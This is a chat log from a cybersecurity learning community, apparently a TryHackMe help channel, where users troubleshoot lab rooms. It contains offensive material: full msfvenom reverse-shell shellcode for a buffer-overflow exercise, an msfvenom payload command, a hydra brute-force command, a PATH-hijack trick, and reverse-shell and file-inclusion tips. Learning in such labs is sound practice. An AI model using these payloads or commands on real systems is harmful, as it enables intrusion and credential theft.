Doubt this will change anything

#

But you can try

copper crypt
#

will try then tell you

#

but wait

#

shoul i use nat or bridge on parrot and win10 VB?

rancid compass
#

bridge

#

just

#

on the VM

copper crypt
#

both parrot and win?

rancid compass
#

so you just set the adapter settings to bridged on your VM

#

no, only Win

copper crypt
#

ok

#

let me restart it

#

here

#

its in spanish but its bridge

rancid compass
#

Start VM and check ip, etc

#

ah wait xd

#

You are using 2 VM's?

copper crypt
#

no no

#

well

#

wait

#

have parrot and win10 on my VB

rancid compass
#

So you are using parrot for THM and win10 for windows stuff?

copper crypt
#

yay

#

the win10 is installed to make proof like blue, BO, etc

rancid compass
#

Then i think you should use an internal adapter for your 2 VM's to be able to connect

#

and communicate

#

check this

copper crypt
#

parrot doesnt have problem while transfer between my machine, but win10 on VB doesnt transfer anythyng, even if i copy and paste. is like doesnt recognize anything external

rancid compass
#

I mean copying and pasting between VM's is always weird

copper crypt
#

yay

rancid compass
#

Try to put 'adapter 2' from parrot and windows to 'internal'

copper crypt
#

ok

#

let me restart everything again XD

rancid compass
#

😅

#

What is you main OS? Windows?

copper crypt
copper crypt
rancid compass
#

internal

#

Its all explained in the link btw xd

copper crypt
#

so adapter 1 should i let it on NAT?

rancid compass
#

if you want to use the internet yeah 😄

keen iris
copper crypt
#

ok sorry

keen iris
rancid compass
#

Right, mb

twin quartz
#

In the Post-Exploitation Basics Room, I faced a difficulty with Bloodhound. I'm new to Bloodhound. The upload button does nothing. Import button responds with "BAD JSON FILE". So, the only way I can upload the file is by the drag & drop method. But, in the Upload Progress window, it says "File created from incompatible collector" "NaN%". And it does not process the file. Any idea what I am doing wrong? Thanks.

vernal mason
# twin quartz In the Post-Exploitation Basics Room, I faced a difficulty with Bloodhound. I'm ...

Regarding Post-Exploitation Basics Task 3, I found the most success using the Attackbox and the last Bloodhound version before version 4 (3.0.5 I think). After unzipping the download, run the file named "Bloodhound" in the folder using the "--no-sandbox" flag, and you should be good to go. DON'T use the version of Bloodhound already installed. As of 8/28/22, it's not compatible with the version of SharpHound on the Windows machine you're running mimikatz and whatnot on
Hope this saves people some time troubleshooting
@hollow gyro

twin quartz
#

@vernal mason Thanks for tip. I shall try it.

desert topazBOT
#

Gave +1 Rep to @vernal mason

vernal mason
#

no problem

fleet wedge
vernal mason
#

!docs verify

frank troutBOT
rocky wind
fleet wedge
rocky wind
fleet wedge
#

Are you sure? The code seems to be running on 10.10.106.26 - and I'm running netcat from 10.10.249.216 (obtained from http://10.10.10.10) 🤔

Screenshot_2022-09-06_at_21.54.55.png
#

Haha yes, I'm a very self-destructive person

#

No worries! 🙏

#

Actually that's a good hint

#

I see a 500 error 😬

rocky wind
fleet wedge
#

The page was blank so I just didn't care to check 😮‍💨

fleet wedge
#

It was a missing semi-colon. Haha! Thanks 😻

rocky wind
rocky wind
rocky wind
fleet wedge
fleet wedge
#

Thank you @rocky wind and @hidden shoal

copper crypt
#

hi people, i've tried those nmpa scan for getkeeper room but doesnt work, dont show any port open... any recomendation?
sudo nmap -A -sS -sC -sV -O IP
nmap --open -p- -A -sS IP
nmap -p- -sCV -sS -O -A IP
nmap -sCV -sS -O -A IP

vernal mason
#

where is your -Pn option???

copper crypt
#

oh

#

ill try

copper crypt
desert topazBOT
#

Gave +1 Rep to @vernal mason

wooden hawk
#

why not using rustscan ? way much faster

copper crypt
vernal mason
# copper crypt thanks! take a long time to scan but work!

the output from the nmap scans you did above should have told you the -Pn option and reading the man page will tell you that option is to skip the ping to see if the host is up or not.... for speed you can use -T4 or -T5 if you understand the risk of false positives and negatives increasing with said speed increase

copper crypt
vernal mason
copper crypt
#

already done it! thanks anyway for your answer!!💪🏻

desert topazBOT
#

Gave +1 Rep to @hidden shoal

copper crypt
#

does anyone know why i cant connect with rdesktop on room Corp?

unknown.png
dapper frigate
#

In the room 'Steel Mountain' why can't I overwrite ASCService.exe as Bill? Why can't I delete, rename or overwrite ASCService.exe by moving a file? I can overwrite it by transferring it from my attack machine.

copper crypt
#

hi, getting some errors on room breaching AD task 3, using the python script

unknown.png
spare drum
#

Hi where should I start for pentesting

magic ivy
rocky wind
rancid compass
#

And then start the service

dapper frigate
#

Thanks! I managed to do that. What I am trying to understand is how I can overwrite ASCServices.exe when the user 'bill' does not have permission to modify the file.

rancid compass
#

I'm not sure because i never really checked if he had rights but i think he has permission to add a file to the path which can be checked when you ran the PowerUp.ps1

#

I could be totally wrong tho and hopefully someone corrects me if I am

bitter ferry
#

Can someone please help me to understand why in Kenobi space task 4 last question can only be solved by "echo /bin/sh > curl" and not by "cp /bin/sh /tmp/curl" ?
When I want to solve the task with the cp command I get the message "curl: 0: Can't open localhost" with the echo command I get root access. What makes the difference?

keen iris
#

It's a script that doesn't care about the arguments in this case

bitter ferry
desert topazBOT
#

Gave +1 Rep to @keen iris

spare turtle
#

Hi fam

#

Just started my red teaming path

rocky wind
spare turtle
desert topazBOT
#

Gave +1 Rep to @rocky wind

vernal mason
#

would assunme you are going to upload a php reverse shell and then visit the page it got upload to and capture the reverse shell with netcat

desert topazBOT
#

Gave +1 Rep to @vernal mason

low dagger
#

Hello all. I am pretty much at the end of internal, and using hydra to brute force Jenkins login. Thing is, im about 5000 lines through rockyou and don't have it yet. Can I just confirm with anyone that rockyou actually has the correct password in it? XD

magic ivy
magic ivy
oak plover
#

having issues with brainstorm, the ftp directory is not listed so I have no way to grab the files

#

I have restarted the box multiple times

#

anyone else have issues with BrainStorm not working?

#

Also unable to find wreath, the network is no longer their anyone else seen this?

dense gate
oak plover
dense gate
oak plover
oak plover
desert topazBOT
#

Gave +1 Rep to @dense gate

timid drum
#

can some one help me understand what this is

#

eop=$(mktemp).service

#

what eop stand for ? kind of confused

#

from Vulnversity module last question

magic ivy
timid drum
desert topazBOT
#

Gave +1 Rep to @magic ivy

surreal root
#

Hi.. I'm stuck on the burp suite attack and keep getting connection close

magic ivy
#

read this so u can ask more effectively next time

surreal root
#

Looking for help on the burp suite on intercepting and uploading the payload to find the correct .php extension

dense gate
rare star
#

In breaching AD Room I can't connect/ping the servers. I did everything accordingly with my Kali Vmware VM

#

can anyone help?

finite pivot
spare hamlet
#

Ok now.....from where do I start...am new

#

I need assistance pls

surreal root
#

@dense gate task 4 in the Vulnversity

dense gate
surreal root
dense gate
# surreal root

You need to disable payload encoding, otherwise the dot will get url encoded

#

You can do that in the payload tab

surreal root
#

turned payload encoding off

keen iris
vernal mason
#

also known as the length part of the list

keen iris
vernal mason
#

oh

keen iris
#

But also yes the length

oak plover
#

Having issues with Brainstorm, when in Immunity Debugger it says that the essfunc.dll is Rebase=True when it should be false, any help would be really appreciated, not able to get correct jump address due to this

surreal root
#

Anyone around to help out on the vulnversity task 4

#

I am confused on how to read the burp suite

#

YAYYYY I finally did it!

#

Now my only question is why on the second attempt does the connect

#

upload not succeed ?*

fleet wedge
#

Hello! Can any hacker tell me what goes on in your mind as you are pentesting? I'm trying to figure out the mindset

rancid compass
#

Getting in to something you shouldn't have access to is fun thats all for me lmao

fleet wedge
boreal knoll
#

Ok, so I found (unintended way) to escalate from apache straight to root, without necessity of using path from jjameson user, is there a channel to report this?

#

oh the room is daily bugle

#

cve_2021_4034

#

i used exploit suggester on metasploit and it was the first one on list

#

Yes i was just thinking it was maybe too easy way to solve it ^^

#

ok thanks

sonic agate
#

Hello i am stuck on the final step in the room Game Zone
When i try to run the metasploit exploit this error message is shown and no session is created
Exploit failed [unreachable]: OpenSSL::SSL::SSLError SSL_connect returned=1 errno=0 peeraddr=127.0.0.1:10000 state=error: wrong version number

#

Can you pls tell how to fix this

paper wedge
#

Hi, I am new here and want to do the OSCP. can someone please help me with the path? From which course should I start?

trail shard
trail shard
#

I started my SQLMap and litterally went to drop off my car for inspection and get a bagel and when I came back its still going.. lol

tired salmon
#

Hi everyone, i am currently blocked at this question in the active directory module: "Which group normally administrates all computers and resources in a domain? ".
I thought it was the group "computers" because in the doc it is specified that any machine joining the network will be put in the computer's group.
Maybe it is not about the OU ?
Do you have any suggestions?

trail shard
#

is this the AD basics room @tired salmon

tired salmon
#

yes it is @trail shard

trail shard
#

Think about what groups are in a domain

#

The answer is in the text for you

#

Key word 'Administrates'

tired salmon
#

ok I got it thanks for your help !

trail shard
#

no prob

trail shard
#

Anyone recently complete GameZone? I've read the root.txt flag but THM is not letting me submit? I wasn't able to get the MSf exploit working but seemed to get it another way, any tips?

sonic agate
trail shard
#

finally got the room to accept my answer, why it didnt im not sure

#

I added a space to the front of it lol

sonic agate
#

@trail shard did your metasploit exploit work?

trail shard
#

I had a ssh tunnel with -D 9090 open to the box and I tried setting proxies in msf to socks4:127.0.0.1:9090 but the login attempt would fail

#

I had to pull up a walkthrough and realized I could read the root flag in the browser but it still bothered me why the msf exploit didn't work

#

I just didn't know how to make sure it was going thru the proxy alright

#

also wasn't sure if RHOSTS was supposed to be 127.0.0.1 or something else

sonic agate
#

Rhosts was supposed to be set to 127.0.0.1 only
but it was giving me SSL error so i also had to read the root flag via browser only

trail shard
#

yeah same here

#

Anyone work on Skynet recently? stuck on getting my reverse shell to execute, im following a writeup but just not sure why my shell isn't executing

#

I included it via RFI, and the web app successfully grabs my php shell from my machine but it just doesn't execute and my shell doesn't open on my listener, in the walkthroughs it seems as though the shell will execute when it's uploaded from your simple python server..mine just isnt doing that

neon lava
#

I stuck in OVERFLOW1 challenge

#

Can anybody help me?

#

Traceback (most recent call last):
File "/home/kali/tryhackme/exploit.py", line 42, in <module>
buffer = prefix + overflow + retn + padding + payload + postfix
TypeError: can only concatenate str (not "bytes") to str

#

nope not yet.

#

I'm trying since yesterday.

#

Okay let's google first.

#

then I'll ask for help

neon lava
#

buffer = prefix + overflow + retn + padding + payload + postfix

#

To

#

buffer = prefix + overflow + retn + padding + str(payload) + postfix

#

This

#

but I didn't get the reverse shell.

#

I suppose to get a reverse shell right?

#

I know I'm missing something, but I can't find what it is.

#

Please help me.

#

@hidden shoal ?

neon lava
#

anyone?

#

Okay I got it.

#

I generated py instead of c

#

inside the payload msfvenom c code worked.

#

This code worked inside the payload:-

#

"\xbd\xc7\x46\xce\xaf\xda\xcf\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x52\x31\x68\x12\x83\xe8\xfc\x03\xaf\x48\x2c\x5a\xd3\xbd\x32"
"\xa5\x2b\x3e\x53\x2f\xce\x0f\x53\x4b\x9b\x20\x63\x1f\xc9\xcc"
"\x08\x4d\xf9\x47\x7c\x5a\x0e\xef\xcb\xbc\x21\xf0\x60\xfc\x20"
"\x72\x7b\xd1\x82\x4b\xb4\x24\xc3\x8c\xa9\xc5\x91\x45\xa5\x78"
"\x05\xe1\xf3\x40\xae\xb9\x12\xc1\x53\x09\x14\xe0\xc2\x01\x4f"
"\x22\xe5\xc6\xfb\x6b\xfd\x0b\xc1\x22\x76\xff\xbd\xb4\x5e\x31"
"\x3d\x1a\x9f\xfd\xcc\x62\xd8\x3a\x2f\x11\x10\x39\xd2\x22\xe7"
"\x43\x08\xa6\xf3\xe4\xdb\x10\xdf\x15\x0f\xc6\x94\x1a\xe4\x8c"
"\xf2\x3e\xfb\x41\x89\x3b\x70\x64\x5d\xca\xc2\x43\x79\x96\x91"
"\xea\xd8\x72\x77\x12\x3a\xdd\x28\xb6\x31\xf0\x3d\xcb\x18\x9d"
"\xf2\xe6\xa2\x5d\x9d\x71\xd1\x6f\x02\x2a\x7d\xdc\xcb\xf4\x7a"
"\x23\xe6\x41\x14\xda\x09\xb2\x3d\x19\x5d\xe2\x55\x88\xde\x69"
"\xa5\x35\x0b\x3d\xf5\x99\xe4\xfe\xa5\x59\x55\x97\xaf\x55\x8a"
"\x87\xd0\xbf\xa3\x22\x2b\x28\xc6\xb0\x5c\xb0\xbe\xb6\xa2\xd1"
"\x62\x3e\x44\xbb\x8a\x16\xdf\x54\x32\x33\xab\xc5\xbb\xe9\xd6"
"\xc6\x30\x1e\x27\x88\xb0\x6b\x3b\x7d\x31\x26\x61\x28\x4e\x9c"
"\x0d\xb6\xdd\x7b\xcd\xb1\xfd\xd3\x9a\x96\x30\x2a\x4e\x0b\x6a"
"\x84\x6c\xd6\xea\xef\x34\x0d\xcf\xee\xb5\xc0\x6b\xd5\xa5\x1c"
"\x73\x51\x91\xf0\x22\x0f\x4f\xb7\x9c\xe1\x39\x61\x72\xa8\xad"
"\xf4\xb8\x6b\xab\xf8\x94\x1d\x53\x48\x41\x58\x6c\x65\x05\x6c"
"\x15\x9b\xb5\x93\xcc\x1f\xd5\x71\xc4\x55\x7e\x2c\x8d\xd7\xe3"
"\xcf\x78\x1b\x1a\x4c\x88\xe4\xd9\x4c\xf9\xe1\xa6\xca\x12\x98"
"\xb7\xbe\x14\x0f\xb7\xea"

#

Instead of this code:-

#

buf = b""
buf += b"\xbf\x77\x36\x06\x95\xd9\xf6\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x0e\x03\x0d\x38\xe4"
buf += b"\x60\x0d\xac\x6a\x8a\xed\x2d\x0b\x02\x08\x1c\x0b\x70"
buf += b"\x59\x0f\xbb\xf2\x0f\xbc\x30\x56\xbb\x37\x34\x7f\xcc"
buf += b"\xf0\xf3\x59\xe3\x01\xaf\x9a\x62\x82\xb2\xce\x44\xbb"
buf += b"\x7c\x03\x85\xfc\x61\xee\xd7\x55\xed\x5d\xc7\xd2\xbb"
buf += b"\x5d\x6c\xa8\x2a\xe6\x91\x79\x4c\xc7\x04\xf1\x17\xc7"
buf += b"\xa7\xd6\x23\x4e\xbf\x3b\x09\x18\x34\x8f\xe5\x9b\x9c"
buf += b"\xc1\x06\x37\xe1\xed\xf4\x49\x26\xc9\xe6\x3f\x5e\x29"
buf += b"\x9a\x47\xa5\x53\x40\xcd\x3d\xf3\x03\x75\x99\x05\xc7"
buf += b"\xe0\x6a\x09\xac\x67\x34\x0e\x33\xab\x4f\x2a\xb8\x4a"
buf += b"\x9f\xba\xfa\x68\x3b\xe6\x59\x10\x1a\x42\x0f\x2d\x7c"
buf += b"\x2d\xf0\x8b\xf7\xc0\xe5\xa1\x5a\x8d\xca\x8b\x64\x4d"
buf += b"\x45\x9b\x17\x7f\xca\x37\xbf\x33\x83\x91\x38\x33\xbe"
buf += b"\x66\xd6\xca\x41\x97\xff\x08\x15\xc7\x97\xb9\x16\x8c"
buf += b"\x67\x45\xc3\x03\x37\xe9\xbc\xe3\xe7\x49\x6d\x8c\xed"
buf += b"\x45\x52\xac\x0e\x8c\xfb\x47\xf5\x47\x0e\x9a\x9a\x8f"
buf += b"\x66\x98\x64\xa1\x2a\x15\x82\xab\xc2\x73\x1d\x44\x7a"
buf += b"\xde\xd5\xf5\x83\xf4\x90\x36\x0f\xfb\x65\xf8\xf8\x76"
buf += b"\x75\x6d\x09\xcd\x27\x38\x16\xfb\x4f\xa6\x85\x60\x8f"
buf += b"\xa1\xb5\x3e\xd8\xe6\x08\x37\x8c\x1a\x32\xe1\xb2\xe6"
buf += b"\xa2\xca\x76\x3d\x17\xd4\x77\xb0\x23\xf2\x67\x0c\xab"
buf += b"\xbe\xd3\xc0\xfa\x68\x8d\xa6\x54\xdb\x67\x71\x0a\xb5"
buf += b"\xef\x04\x60\x06\x69\x09\xad\xf0\x95\xb8\x18\x45\xaa"
buf += b"\x75\xcd\x41\xd3\x6b\x6d\xad\x0e\x28\x8d\x4c\x9a\x45"
buf += b"\x26\xc9\x4f\xe4\x2b\xea\xba\x2b\x52\x69\x4e\xd4\xa1"
buf += b"\x71\x3b\xd1\xee\x35\xd0\xab\x7f\xd0\xd6\x18\x7f\xf1"

#

I want to know why.

#

Can anyone tell me what's wrong?

willow panther
neon lava
#

if I convert the payload to str(payload) the python script runs but won't open the reverse shell.

willow panther
green atlas
#

Hey, I am at first question of task 4 in this room https://tryhackme.com/room/fileinc , and it won't accept my answer. Can't figure out why. I am seeing the contents of /etc/passwd when using the url <ip>/playground.php?file=../../../etc/passwd in my browser, so I would assume /playground.php?file=../../../etc/passwd is the URL it is asking for?

TryHackMe
TryHackMe | Cyber Security Training

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

#

Ah

#

thanks

#

Hmm, it doesn't accept /lab1.php?file=../../../etc/passwd either

neon lava
#

I'm facing another problem. I'm doing Brainstorm challenge. I connected to ftp server but when try "ls" or "dir" the ftp hangs. and says "229 Entering Extended Passive Mode (|||49339|)"

#

Anyone having this issue?

strong stag
rough wasp
#

Hi I have a problem to set up DNS in Breaching Active Directory in Active Directory section, anyone had similar issue?

near dirge
rough wasp
near dirge
#

I did but nothing works

#

Just 21, 3389, and 9999

rough wasp
#

I know that are in the room, but when I try that from the room have: nslookup thmdc.za.tryhackme.com
;; communications error to 10.200.54.101#53: timed out

#

yes, tun0 10.50.23.41...

#

and I have ping response, ping -a 10.200.25.101
PING 10.200.25.101 (10.200.25.101) 56(84) bytes of data.
64 bytes from 10.200.25.101: icmp_seq=1 ttl=127 time=50.5 ms

#

└─$ cat /etc/resolv.conf

Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)

DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN

127.0.0.53 is the systemd-resolved stub resolver.

run "resolvectl status" to see details about the actual nameservers.

search za.tryhackme.com
nameserver 10.200.25.101
nameserver 8.8.8.8

#

new one is here 🙂 └─$ nslookup thmdc.za.tryhackme.com
;; communications error to 10.200.25.101#53: timed out
;; communications error to 10.200.25.101#53: timed out

near dirge
#

To whom have an issues with **brainstorm **room, just try to use different VPN and disable passive mode then it will works fine👍

rough wasp
#

Now it works, not sure what I have done exactly 🙂

rotund dove
#

hey guys

#

im trying Breaching Active Directory room

#

but i cant quite setting things up

#

i added the DNS but it doesnt resolve the domain

#

cant quite ping the THMDC either

#

im using the attack box btw

#

lol i scrolled up and see many people having the same problem

neon lava
#

Can I use "mona" for buffer overflow in OSCP exam?

#

Ohh, okay thanks.

reef ether
#

Hi there, I am looking for solution of exploiting eternal blue without msfconsole, just wondering if there is any good articles as a reference on how to use the 42315.py for exploiting this vuln? I read a lot of tutorials and none of them work at all

#

Will give it a go, thanks

desert topazBOT
#

Gave +1 Rep to @hidden shoal

ember bay
#

Hello, I am working on Alfred. I have been able to get a shell on bruce. I can upload files like winpeas or the msfvenom payload but I am unable to execute them. I have tried to start powershell from the command line but it just hangs. Can I get a little nudge as to how I either get these programs to run or how I get powershell going from the shell I have now? thank you.

ember bay
#

Ok...found a way around the above issue. I was able to load incognito.exe to the target machine via cmd. ran it. added a new user and made them administrator. But now there is no Administrator and even when I RDP into the machine I cant find a root.txt flag haha. Have I completely butchered this? Can anyone point me in the right direction.

burnt garnet
#

Hey I am working on the Buffer Overflow Prep room. I was able to do OVERFLOW1 with no problems. However, with OVERFLOW2 and OVERFLOW3, I can find the offset correctly and find all bad chars but not getting a call back from my shell code. Should I be able to? The only questions involve finding the offset and bad chars but I'd like to exploit each one if possible. Just not sure if I should even be able to or not... thanks!

broken knoll
#

C:\Users\t1_leonard.summers\Desktop>Flag.exe
Flag.exe
Sorry! You are still missing something. No flag for you yet. (7)

Anybody seen this on the Lateral Movement and Pivoting room? Not sure what is missing to run the exe

burnt garnet
#

I did find the jmp as well, I will try some more in a few. Thanks @hidden shoal!

desert topazBOT
#

Gave +1 Rep to @hidden shoal

rich tangle
#

CAN I GET A HACKER FRIEND

keen iris
burnt garnet
#

Definitely was me but a good learning opportunity.... I didn't recreate my rev tcp shell code for OVERFLOW2 and it contained bad chars facepalm

tacit verge
#

Daily Bugle. Is there a problem with the room? machine responds to ping, scanned with nmap and hit it with gobuster just fine. tried to browse to the website and it never comes up.

frank troutBOT
low turtle
tacit verge
fleet wedge
#

hello guys i've been trying to crack a password in hackpark machine. sadly, hydra is returning wrong passwords. has anyone encountered this issue?? can someone help me regarding this pls.

#

btw, this is the screenshot of the problem. i hope someone can help me fix this issue. thanks again, guys

unknown.png
#

and here's the command that i used: hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt 10.10.12.92 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=ZdyCCuhq7zMYBzGN0u%2FVLKAA3chKH3IorFlH89vOh%2BomSd8b86rVGwfadXtfXLtkQgvsLmcuZJ3Lif5BDgKIgVAd9%2B4aKrR%2Fdjls%2BjHl3WB66uSrWPH3CLke0xjEQdhgGqTXakqW%2B3iQRCSSMcWKqa9EWAmWZpdkqh6E8hiKOaMfyNLyb4ALVkMoEPR%2B7zkdpHqC3z2puf7uuO%2BZKqeY%2F5gBglIHcNjGsQR6Gr0zYlCt5z5xjosDWRo7ujSmHNwzheGmzDqLbbuY7rVYvK%2Bpdtffx4drFxa8LKfQlW%2FYbamz5ZCUjiMm%2Fo9rgzfM24292DwPWHecFWfoIksCfiBBDZZsm50MkPLGv1rpR4OVX9p%2F4TCo&__EVENTVALIDATION=HfTlma6Rxo6%2B3RAeSAbbfa3AiyKaoYonq9Ae7aPQ0fg0BbXwqQrHyu7oonvi7heiKSuPgaicKLOpQWJ19IdIOO7CO%2BkdbKY%2BhCCckGkhO58spRDiRAeWlDd4aHVwocGD9UqC9gvpkePUBJ%2BQ0Eb5SSBmLdVHc%2BKDhiA17iW5UMnyE6V8&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed" -vv

true hedge
#

this normally happens to me when I use a wrong response detection and thus every try is considered correct

fleet wedge
#

hello, can you please tell me what parameter/s on my command is/are wrong

true hedge
#

@fleet wedge sorry, I don't know the exact solutiin to this part. I'd run one of these requests through burp (including this long parameter stuff) and check the result again. Is there really exactly the string "Login Failed" in the response?
if this doesnt help, you might be able to proxy hydra directly through burp to check the response.

fleet wedge
#

hello, yes there is. it is the parameter before "-vv"

true hedge
#

not in your command, but in the http response from the webserver to a login attempt made by hydra

fleet wedge
#

yes, there is

supple sand
#

Hello Can anyone help me in room bufferoverflow brainstorm
the first question is how many ports are open
i use nmap every time i get 3 ports are open
but answer is 6
can anyone clear my question
https://tryhackme.com/room/brainstorm

supple sand
#

ok thanks

reef ether
#

Hi I am trying to exploit eternal red with 40620.py. But I found there is a payload need to be specified which is a shared lib. I am wondering how can I locate or obtain the desired shared library?

fleet wedge
#

does john the ripper automatically use the GPU for password cracking?

fleet wedge
#

hello guys for those who played the hackpark room, can you tell me why did they use 'winPEAS.bat' instead of 'winPEAS.exe' ?

steady scroll
#

@fleet wedge Not sure. I used the x64.exe

steady scroll
#

To my understanding .bat was made for systems that didn't support winPEAS.exe and only used if .exe wasn't supported. Exe has colors easier to read.

fleet wedge
#

thanks for answering

keen iris
fleet wedge
#

thanks for answering @keen iris

desert topazBOT
#

Gave +1 Rep to @keen iris

fiery cloud
#

Hi guys i try to understand msfvenom payloads.
Usually i use them to generate a payload and then start a multi/handler metasploit listener with the same payload set

e.g.
Will be executed on the target system

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.165.167 LPORT=4443 -e x86/shikata_ga_nai -f exe -o ASCService.exe

Metasploit :

set payload windows/shell_reverse_tcp

Why do i need to set a payload on the listener and could i use a different payload on the listener

keen iris
fiery cloud
#

ahhhhh

#

damn

#

on stageless i can work with only a listener right

#

staged payload will connect to the syystem and then download the rest of the payload

#

thats why you need to specify it on the listener too

keen iris
#

Also bear in mind there's more to a meterpreter than a plain shell payload

#

Many more features

fiery cloud
#

Hi guys quick question about ssh tunneling

# 
 ssh -L 9000:imgur.com:80 blub@<ip>
#

If i go to localhost:9000 on my local machine, i will see the content of imgur.com? , because blub@<ip> has access to imgur.com and forwards this traffic to my port 9000 through a ssh tunnel?

#

did i get that right?

fiery cloud
#

hmh?

fiery cloud
#

Hoi guys doing the room relevant right now

#

http://10.10.75.58:49663/nt4wrksv

#

this should be a directory of that webserver

#

but i cant connect to it

#

Always getting an unable to connect error

keen iris
fiery cloud
#

i solved itn nmap portscan

#

and gobuster findings

#

another dumb question if i want to download printSpoofer

#

which of these files do i need to download?

slender horizon
#

Hi, im have a question. When i upload linpeas script to a linux machine over the /tmp directory and try to run it nothing happens.

#

But, i can run it in mi home directory

#

Any clue of what is happening? Thanks!

#

Sorry the image before not shows that i try indeed to run the script

vernal mason
#

the last try there you are trying to run the linpeas script in the home folder and not in the tmp folder

slender horizon
#

Sorry

vernal mason
#

as you used cd without an arg which takes you to your home folder

slender horizon
#

There it is

#

sorry about before

#

Is because /tmp could be in a separated partition o something of the kind?

vernal mason
#

yeah /tmp could be on a ramdisk

#

which is kinda common in some linux distros

slender horizon
#

And that is the cause of the event?

#

Separate /tmp isolate it?

vernal mason
#

not sure actually

#

you could try placing it in /dev/shm and running it from there to see if there is a difference

slender horizon
#

ok i will try it

#

It seems it doesn't work either

#

Well, i will run it from my home directory and i will continue, thanks for the help any way!

keen iris
vernal mason
#

oh good to know james

true hedge
slender horizon
#

thanks for answering

#

By the way, any one here know how to handle hydra http-post-form when the web page display a complex error message in a failed login attemp?

#

Im think that the problem is im not catching well the error message because is matching multiple valid credentials

#

I first think it will be valid to only copy-paste the middle message but apparently it doesn't

keen iris
#

That "HTTP 1.1" bit looks bad

#

Watch what it's doing through burp or wireshark if you can though, that can help massively

slender horizon
#

I know that i have other tools but i would like to know what im doing wrong because is obviously a thing in the command, i remember that things like this already happens when you don't write correctly the message error

#

but

#

what do you mean with the HTTP 1.1?

#

Is bad writed?

#

Ahh

#

i understand

#

fuck hahah

#

This happens to me for copy from Burp hehe

#

i already fixed, but i obtain the same result

#

My god

#

i have it

#

i wiil not put the answer here

#

but

#

i feel very stupid i have to say

true hedge
#

i think with using burp / wireshark he meant "still use hydra, but proxy your requests through burp". this way you can easily see what exactly hydra sends/receives and this helps fixing the command :)

#

just for the future. Good you found it

slender horizon
#

Ok thanks!

#

But

#

I can send log request through hydra and proxy it at the same time with Burp?

keen iris
slender horizon
#

👍 👍 👍

mild rain
#

hi everyone! how are ya? I'm just starting the Buffer overflow part (https://tryhackme.com/room/bufferoverflowprep) and i'm actually kinda totally lost, first time encountering buffer overflows (i know how it works etc...) but feels like i'm missing something, some knowledge and bases, before looking at other stuff around do you think it's not especially needed cause this part contains the basics or do i need basic knowledge before? thanks

TryHackMe
TryHackMe | Buffer Overflow Prep

Practice stack based buffer overflows!

#

and i'm reading it at the same time tho

true hedge
#

The descriptiin says it does not teach the basics. So it's probably better to learn BO elsewhere, get used to it and then come back to test the knowledge and learn the mono stuff described in the room

slender horizon
#

Hi! Im kind of confuse, when i list the binary command i see that the command have the SUID bit allowed, that means i execute as his owner, root isnt?

#

But, when i try to use it the command assume that im not root, why is this happening?

#

Im the user 'apache' and i wanna edit the crontab file to add a job that makes me root

#

As I understand it, if the SUID byte is set up i should run the binary as root and open the /etc/crontab

keen iris
#

Crontab -e as root will edit that one, rather than the system wide crontab

fleet wedge
#

Hey guys, I'm not sure how to attach to a listener. I've successfully started a reverse shell but for some reason I'm unable to actually exploit this. Hope this is the right channel, very new to Discord.

pwncat.png
#

yep, it’s a python reverse shell

fleet wedge
#

yeah, I just launched another python reverse shell and got caught immediately. Now how do I "convert" this to a shell?

pwncat2.png
#

Damn! Think I got it. It's just Ctrl-D to enter shell

ember bay
#

Hello. I keep running into this issue with bloodhound where I will upload/drag-n-drop a provided zip to the BH GUI and my graph never updates. I have the same graph from like....4 rooms ago haha. Ive hit refresh, Ive restarted bloodhound. How do I get it to populate the correct info? Thank you

languid zenith
#

Im in the exploiting AD room and having trouble with the keepass part never see the explorer process any help?

unkempt thunder
#

im in the eternal blue room and im trying to run the metasploit eternal blue exploit but it keeps failing :( Any ideas?

#

i keep terminating and resetting the machine on THM

finite pivot
#

Which IP are you setting as RHOST?

unkempt thunder
#

the machine that I started in the beginning of the room

finite pivot
#

The ip that appears in the red box?

unkempt thunder
#

yes the active machine

finite pivot
#

Hm, I did it and it worked first time, are you on it now?

unkempt thunder
#

i exited out of it for now but i can easily pull it up. I tried multiple times and it didnt work :(

finite pivot
#

Next time when you set it, type options just to verify you have the correct ones.

If you verify you can send screenshots.

#

!docs verify

frank troutBOT
unkempt thunder
#

awesome i was wondering why it was not working

#

@finite pivot

finite pivot
#

Type options

unkempt thunder
finite pivot
#

Is your attackbox ip "10.0.2.15" ?

unkempt thunder
#

yes

finite pivot
#

I'm loading an attackbox

#

Still got the machine open?

unkempt thunder
#

yes

finite pivot
#

first time.

unknown.png
unkempt thunder
#

......

finite pivot
#

Try quitting that session msf.

Create a new one.

Just set the exploit to blue, leave the payload and just set RHOST, then run.

unkempt thunder
#

i opened up an attack box on the tryhackme website and it worked from that. Is there a specific reason it would work from that and not my own linux machine?

dense gate
finite pivot
#

I assumed you were on the attackbox...

#

If you're on a vm with the vpn, set LHOST tun

#

0

dense gate
#

msf6

#

So can't be the attackbox

#

Unless they upgraded 😄

finite pivot
#

Possibility. 😄

finite pivot
#

It's never been mine.

#

When I used VB before.

unkempt thunder
desert topazBOT
#

Gave +1 Rep to @finite pivot

fiery cloud
# 
The first thing you will see when opening it is your complete OU hierarchy, as defined before. To configure Group Policies, you first create a GPO under Group Policy Objects and then link it to the 
-->GPO <--
 where you want the policies to apply. As an example, you can see there are some already existing GPOs in your machine:

Hi this is from avtice directory room

#

shouldnt that be called

# 
To configure Group Policies, you first create a GPO under Group Policy Objects and then link it to the --> OU <--- 
where you want the policies to apply
pale sail
#

Hey everyone, I'm doing the Exploiting AD room, and am getting a mimikatz error.

ERROR kuhl_m_lsadump_secretsOrCache ; kull_m_registry_RegOpenKeyEx (SECURITY) (0x00000005)

It appears this is due to the installed version of mimikatz being incompatible with the version of Windows it is being used in.

I'd try to get a more current version of mimikatz onto the box, but currently have to use the attack box because the VPN is not working for this network.

